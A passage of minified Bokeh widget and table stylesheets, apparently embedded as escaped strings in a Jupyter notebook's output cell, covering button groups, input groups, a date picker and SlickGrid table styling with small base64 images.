.bk-bs-btn-toolbar .bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar .bk-bs-input-group{float:left}.bk-root .bk-bs-btn-toolbar>.bk-bs-btn,.bk-root .bk-bs-btn-toolbar>.bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar>.bk-bs-input-group{margin-left:5px}.bk-root .bk-bs-btn-group>.bk-bs-btn:not(:first-child):not(:last-child):not(.bk-bs-dropdown-toggle){border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child{margin-left:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child:not(:last-child):not(.bk-bs-dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:last-child:not(:first-child),.bk-root .bk-bs-btn-group>.bk-bs-dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group{float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:last-child>.bk-bs-btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group .bk-bs-dropdown-toggle:active,.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{outline:0}.bk-root .bk-bs-btn-group>.bk-bs-btn+.bk-bs-dropdown-toggle{padding-left:8px;padding-right:8px}.bk-root .bk-bs-btn-group>.bk-bs-btn-lg+.bk-bs-dropdown-toggle{padding-left:12px;padding-right:12px}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle.bk-bs-btn-link{-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn .bk-bs-caret{margin-left:0}.bk-root .bk-bs-btn-lg .bk-bs-caret{border-width:5px 5px 0;border-bottom-width:0}.bk-root .bk-bs-dropup .bk-bs-btn-lg .bk-bs-caret{border-width:0 5px 5px}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{display:block;float:none;width:100%;max-width:100%}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{float:none}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn-group{margin-top:-1px;margin-left:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:last-child:not(:first-child)>.bk-bs-btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn,.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group{float:none;display:table-cell;width:1%}.bk-root .bk-bs-btn-group-justified>.bk-bs-btn-group .bk-bs-btn{width:100%}.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-btn-group>.bk-bs-btn>input[type=\\\\\\\"checkbox\\\\\\\"]{display:none}.bk-root .bk-bs-input-group{position:relative;display:table;border-collapse:separate}.bk-root .bk-bs-input-group[class*=\\\\\\\"col-\\\\\\\"]{float:none;padding-left:0;padding-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-group-lg>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-lg>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-group-sm>.bk-bs-form-control,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,textarea.bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-form-control,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-addon,select[multiple].bk-root .bk-bs-input-group-sm>.bk-bs-input-group-btn>.bk-bs-btn{height:auto}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn,.bk-root .bk-bs-input-group .bk-bs-form-control{display:table-cell}.bk-root .bk-bs-input-group-addon:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group-btn:not(:first-child):not(:last-child),.bk-root .bk-bs-input-group .bk-bs-form-control:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-input-group-addon,.bk-root .bk-bs-input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.bk-root .bk-bs-input-group-addon{padding:6px 12px;font-size:12px;font-weight:normal;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-input-group-addon.bk-bs-input-sm{padding:5px 10px;font-size:11px;border-radius:3px}.bk-root .bk-bs-input-group-addon.bk-bs-input-lg{padding:10px 16px;font-size:15px;border-radius:6px}.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-input-group-addon input[type=\\\\\\\"checkbox\\\\\\\"]{margin-top:0}.bk-root .bk-bs-input-group .bk-bs-form-control:first-child,.bk-root .bk-bs-input-group-addon:first-child,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn:not(:last-child):not(.bk-bs-dropdown-toggle),.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group:not(:last-child)>.bk-bs-btn{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-input-group-addon:first-child{border-right:0}.bk-root .bk-bs-input-group .bk-bs-form-control:last-child,.bk-root .bk-bs-input-group-addon:last-child,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-dropdown-toggle,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn:not(:first-child),.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group:not(:first-child)>.bk-bs-btn{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-input-group-addon:last-child{border-left:0}.bk-root .bk-bs-input-group-btn{position:relative;font-size:0;white-space:nowrap}.bk-root .bk-bs-input-group-btn>.bk-bs-btn{position:relative}.bk-root .bk-bs-input-group-btn>.bk-bs-btn+.bk-bs-btn{margin-left:-1px}.bk-root .bk-bs-input-group-btn>.bk-bs-btn:hover,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:focus,.bk-root .bk-bs-input-group-btn>.bk-bs-btn:active{z-index:2}.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:first-child>.bk-bs-btn-group{margin-right:-1px}.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn,.bk-root .bk-bs-input-group-btn:last-child>.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-nav{margin-bottom:0;padding-left:0;list-style:none}.bk-root .bk-bs-nav>li{position:relative;display:block}.bk-root .bk-bs-nav>li>span{position:relative;display:block;padding:10px 15px}.bk-root .bk-bs-nav>li>span:hover,.bk-root .bk-bs-nav>li>span:focus{text-decoration:none;background-color:#eee}.bk-root .bk-bs-nav>li.bk-bs-disabled>span{color:#999}.bk-root .bk-bs-nav>li.bk-bs-disabled>span:hover,.bk-root .bk-bs-nav>li.bk-bs-disabled>span:focus{color:#999;text-decoration:none;background-color:transparent;cursor:not-allowed}.bk-root .bk-bs-nav-tabs{border-bottom:1px solid #ddd}.bk-root .bk-bs-nav-tabs>li{float:left;margin-bottom:-1px}.bk-root .bk-bs-nav-tabs>li>span{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.bk-root .bk-bs-nav-tabs>li>span:hover{border-color:#eee #eee #ddd;cursor:pointer}.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:hover,.bk-root .bk-bs-nav-tabs>li.bk-bs-active>span:focus{color:#555;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default}.bk-root .bk-bs-tab-content>.bk-bs-tab-pane{display:none}.bk-root .bk-bs-tab-content>.bk-bs-active{display:block}.bk-root .pika-single{z-index:9999;display:block;position:relative;color:#333;background:#fff;border:1px solid #ccc;border-bottom-color:#bbb;font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif}.bk-root .pika-single:before,.bk-root .pika-single:after{content:\\\\\\\" \\\\\\\";display:table}.bk-root .pika-single:after{clear:both}.bk-root .pika-single{*zoom:1}.bk-root .pika-single.is-hidden{display:none}.bk-root .pika-single.is-bound{position:absolute;box-shadow:0 5px 15px -5px rgba(0,0,0,0.5)}.bk-root .pika-lendar{float:left;width:240px;margin:8px}.bk-root .pika-title{position:relative;text-align:center}.bk-root .pika-label{display:inline-block;*display:inline;position:relative;z-index:9999;overflow:hidden;margin:0;padding:5px 3px;font-size:14px;line-height:20px;font-weight:bold;background-color:#fff}.bk-root .pika-title select{cursor:pointer;position:absolute;z-index:9998;margin:0;left:0;top:5px;filter:alpha(opacity=0);opacity:0}.bk-root .pika-prev,.bk-root .pika-next{display:block;cursor:pointer;position:relative;outline:0;border:0;padding:0;width:20px;height:30px;text-indent:20px;white-space:nowrap;overflow:hidden;background-color:transparent;background-position:center center;background-repeat:no-repeat;background-size:75% 75%;opacity:.5;*position:absolute;*top:0}.bk-root .pika-prev:hover,.bk-root .pika-next:hover{opacity:1}.bk-root .pika-prev,.bk-root .is-rtl .pika-next{float:left;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg==');*left:0}.bk-root .pika-next,.bk-root .is-rtl .pika-prev{float:right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII=');*right:0}.bk-root .pika-prev.is-disabled,.bk-root .pika-next.is-disabled{cursor:default;opacity:.2}.bk-root .pika-select{display:inline-block;*display:inline}.bk-root .pika-table{width:100%;border-collapse:collapse;border-spacing:0;border:0}.bk-root .pika-table th,.bk-root .pika-table td{width:14.285714285714286%;padding:0}.bk-root .pika-table th{color:#999;font-size:12px;line-height:25px;font-weight:bold;text-align:center}.bk-root .pika-button{cursor:pointer;display:block;box-sizing:border-box;-moz-box-sizing:border-box;outline:0;border:0;margin:0;width:100%;padding:5px;color:#666;font-size:12px;line-height:15px;text-align:right;background:#f5f5f5}.bk-root .pika-week{font-size:11px;color:#999}.bk-root .is-today .pika-button{color:#3af;font-weight:bold}.bk-root .is-selected .pika-button,.bk-root .has-event .pika-button{color:#fff;font-weight:bold;background:#3af;box-shadow:inset 0 1px 3px #178fe5;border-radius:3px}.bk-root .has-event .pika-button{background:#005da9;box-shadow:inset 0 1px 3px #0076c9}.bk-root .is-disabled .pika-button,.bk-root .is-inrange .pika-button{background:#d5e9f7}.bk-root .is-startrange .pika-button{color:#fff;background:#6cb31d;box-shadow:none;border-radius:3px}.bk-root .is-endrange .pika-button{color:#fff;background:#3af;box-shadow:none;border-radius:3px}.bk-root .is-disabled .pika-button{pointer-events:none;cursor:default;color:#999;opacity:.3}.bk-root .is-outside-current-month .pika-button{color:#999;opacity:.3}.bk-root .is-selection-disabled{pointer-events:none;cursor:default}.bk-root .pika-button:hover,.bk-root .pika-row.pick-whole-week:hover .pika-button{color:#fff;background:#ff8000;box-shadow:none;border-radius:3px}.bk-root .pika-table abbr{border-bottom:0;cursor:help}.bk-root .bk-widget-box{overflow:visible;padding:5px 10px}.bk-root .bk-widget label{margin-bottom:2px}.bk-root .bk-widget{margin-top:10px}.bk-root .bk-widget h1:first-child,.bk-root .bk-widget h2:first-child,.bk-root .bk-widget h3:first-child,.bk-root .bk-widget h4:first-child,.bk-root .bk-widget h5:first-child,.bk-root .bk-widget h6:first-child,.bk-root .bk-widget p:first-child{margin-top:0}.bk-root .bk-widget-form-input{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-widget-form-input:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-widget-form-input::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-widget-form-input:-ms-input-placeholder{color:#999}.bk-root .bk-widget-form-input::-webkit-input-placeholder{color:#999}.bk-root .bk-widget-form-input[disabled],.bk-root .bk-widget-form-input[readonly],fieldset[disabled] .bk-root .bk-widget-form-input{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-widget-form-input{height:auto}.bk-root .bk-widget button{min-width:100%}.bk-root .bk-widget input[type=\\\\\\\"text\\\\\\\"]{min-width:90%}.bk-root .bk-widget select{min-width:97%}.bk-root .bk-bs-dropdown-toggle .bk-bs-caret{margin-left:5px}.bk-root .bk-bs-dropdown-menu{width:100%}.bk-root .bk-bs-nav-tabs{overflow:hidden}.bk-root .bk-slider label{margin-right:5px}.bk-root .bk-slider .bk-slider-value{display:inline-block;font-weight:600}.bk-root .bk-slider input,.bk-root .bk-slider .bk-slider-value{margin-bottom:5px}\\\\n/* END bokeh-widgets.min.css */\\\");\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-tables.min.css */\\\\n.bk-root .slick-header.ui-state-default,.bk-root .slick-headerrow.ui-state-default,.bk-root .slick-footerrow.ui-state-default{width:100%;overflow:hidden;border-left:0 !important}.bk-root .slick-header-columns,.bk-root .slick-headerrow-columns,.bk-root .slick-footerrow-columns{position:relative;white-space:nowrap;cursor:default;overflow:hidden}.bk-root .slick-header-column.ui-state-default{position:relative;display:inline-block;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;height:16px;line-height:16px;margin:0;padding:4px;border-right:1px solid silver;border-left:0 !important;border-top:0 !important;border-bottom:0 !important;float:left}.bk-root .slick-headerrow-column.ui-state-default,.bk-root .slick-footerrow-column.ui-state-default{padding:4px}.bk-root .slick-header-column-sorted{font-style:italic}.bk-root .slick-sort-indicator{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:6px;float:left}.bk-root .slick-sort-indicator-numbered{display:inline-block;width:8px;height:5px;margin-left:4px;margin-top:0;padding-left:1px;line-height:20px;float:left;font-family:Arial;font-style:normal;font-weight:bold;color:#6190cd}.bk-root .slick-sort-indicator-desc{background:url(images/sort-desc.gif)}.bk-root .slick-sort-indicator-asc{background:url(images/sort-asc.gif)}.bk-root .slick-resizable-handle{position:absolute;font-size:.1px;display:block;cursor:col-resize;width:4px;right:0;top:0;height:100%}.bk-root .slick-sortable-placeholder{background:silver}.bk-root .grid-canvas{position:relative;outline:0}.bk-root .slick-row.ui-widget-content,.bk-root .slick-row.ui-state-active{position:absolute;border:0;width:100%}.bk-root .slick-cell,.bk-root .slick-headerrow-column,.bk-root .slick-footerrow-column{position:absolute;border:1px solid transparent;border-right:1px dotted silver;border-bottom-color:silver;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;vertical-align:middle;z-index:1;padding:1px 2px 2px 1px;margin:0;white-space:nowrap;cursor:default}.bk-root .slick-cell,.bk-root .slick-headerrow-column{border-bottom-color:silver}.bk-root .slick-footerrow-column{border-top-color:silver}.bk-root .slick-group-toggle{display:inline-block}.bk-root .slick-cell.highlighted{background:lightskyblue;background:rgba(0,0,255,0.2);-webkit-transition:all .5s;-moz-transition:all .5s;-o-transition:all .5s;transition:all .5s}.bk-root .slick-cell.flashing{border:1px solid red !important}.bk-root .slick-cell.editable{z-index:11;overflow:visible;background:white;border-color:black;border-style:solid}.bk-root .slick-cell:focus{outline:0}.bk-root .slick-reorder-proxy{display:inline-block;background:blue;opacity:.15;cursor:move}.bk-root .slick-reorder-guide{display:inline-block;height:2px;background:blue;opacity:.7}.bk-root .slick-selection{z-index:10;position:absolute;border:2px dashed black}.bk-root .slick-header-columns{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-bottom:1px solid silver}.bk-root .slick-header-column{background:url('images/header-columns-bg.gif') repeat-x center bottom;border-right:1px solid silver}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background:white url('images/header-columns-over-bg.gif') repeat-x center bottom}.bk-root .slick-headerrow{background:#fafafa}.bk-root .slick-headerrow-column{background:#fafafa;border-bottom:0;height:100%}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row{position:absolute;background:white;border:0;line-height:20px}.bk-root .slick-row.selected{z-index:10;background:#dfe8f6}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-group{border-bottom:2px solid silver}.bk-root .slick-group-toggle{width:9px;height:9px;margin-right:5px}.bk-root .slick-group-toggle.expanded{background:url(images/collapse.gif) no-repeat center center}.bk-root .slick-group-toggle.collapsed{background:url(images/expand.gif) no-repeat center center}.bk-root .slick-group-totals{color:gray;background:white}.bk-root .slick-group-select-checkbox{width:13px;height:13px;margin:3px 10px 0 0;display:inline-block}.bk-root .slick-group-select-checkbox.checked{background:url(images/GrpCheckboxY.png) no-repeat center center}.bk-root .slick-group-select-checkbox.unchecked{background:url(images/GrpCheckboxN.png) no-repeat center center}.bk-root .slick-cell.selected{background-color:beige}.bk-root .slick-cell.active{border-color:gray;border-style:solid}.bk-root .slick-sortable-placeholder{background:silver !important}.bk-root .slick-row.odd{background:#fafafa}.bk-root .slick-row.ui-state-active{background:#f5f7d7}.bk-root .slick-row.loading{opacity:.5}.bk-root .slick-cell.invalid{border-color:red;-moz-animation-duration:.2s;-webkit-animation-duration:.2s;-moz-animation-name:slickgrid-invalid-hilite;-webkit-animation-name:slickgrid-invalid-hilite}@-moz-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}@-webkit-keyframes slickgrid-invalid-hilite{from{box-shadow:0 0 6px red}to{box-shadow:none}}.bk-root .slick-column-name,.bk-root .slick-sort-indicator{display:inline-block;float:left;margin-bottom:100px}.bk-root .slick-header-button{display:inline-block;float:right;vertical-align:top;margin:1px;margin-bottom:100px;height:15px;width:15px;background-repeat:no-repeat;background-position:center center;cursor:pointer}.bk-root .slick-header-button-hidden{width:0;-webkit-transition:.2s width;-ms-transition:.2s width;transition:.2s width}.bk-root .slick-header-column:hover>.slick-header-button{width:15px}.bk-root .slick-header-menubutton{position:absolute;right:0;top:0;bottom:0;width:14px;background-repeat:no-repeat;background-position:left center;background-image:url(../images/down.gif);cursor:pointer;display:none;border-left:thin ridge silver}.bk-root .slick-header-column:hover>.slick-header-menubutton,.bk-root .slick-header-column-active .slick-header-menubutton{display:inline-block}.bk-root .slick-header-menu{position:absolute;display:inline-block;margin:0;padding:2px;cursor:default}.bk-root .slick-header-menuitem{list-style:none;margin:0;padding:0;cursor:pointer}.bk-root .slick-header-menuicon{display:inline-block;width:16px;height:16px;vertical-align:middle;margin-right:4px;background-repeat:no-repeat;background-position:center center}.bk-root .slick-header-menucontent{display:inline-block;vertical-align:middle}.bk-root .slick-header-menuitem-disabled{color:silver}.bk-root .slick-columnpicker{border:1px solid #718bb7;background:#f0f0f0;padding:6px;-moz-box-shadow:2px 2px 2px silver;-webkit-box-shadow:2px 2px 2px silver;box-shadow:2px 2px 2px silver;min-width:100px;cursor:default}.bk-root .slick-columnpicker li{list-style:none;margin:0;padding:0;background:0}.bk-root .slick-columnpicker input{margin:4px}.bk-root .slick-columnpicker li a{display:block;padding:4px;font-weight:bold}.bk-root .slick-columnpicker li a:hover{background:white}.bk-root .slick-pager{width:100%;height:26px;border:1px solid gray;border-top:0;background:url('../images/header-columns-bg.gif') repeat-x center bottom;vertical-align:middle}.bk-root .slick-pager .slick-pager-status{display:inline-block;padding:6px}.bk-root .slick-pager .ui-icon-container{display:inline-block;margin:2px;border-color:gray}.bk-root .slick-pager .slick-pager-nav{display:inline-block;float:left;padding:2px}.bk-root .slick-pager .slick-pager-settings{display:block;float:right;padding:2px}.bk-root .slick-pager .slick-pager-settings *{vertical-align:middle}.bk-root .slick-pager .slick-pager-settings a{padding:2px;text-decoration:underline;cursor:pointer}.bk-root .slick-header-columns{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column:hover,.bk-root 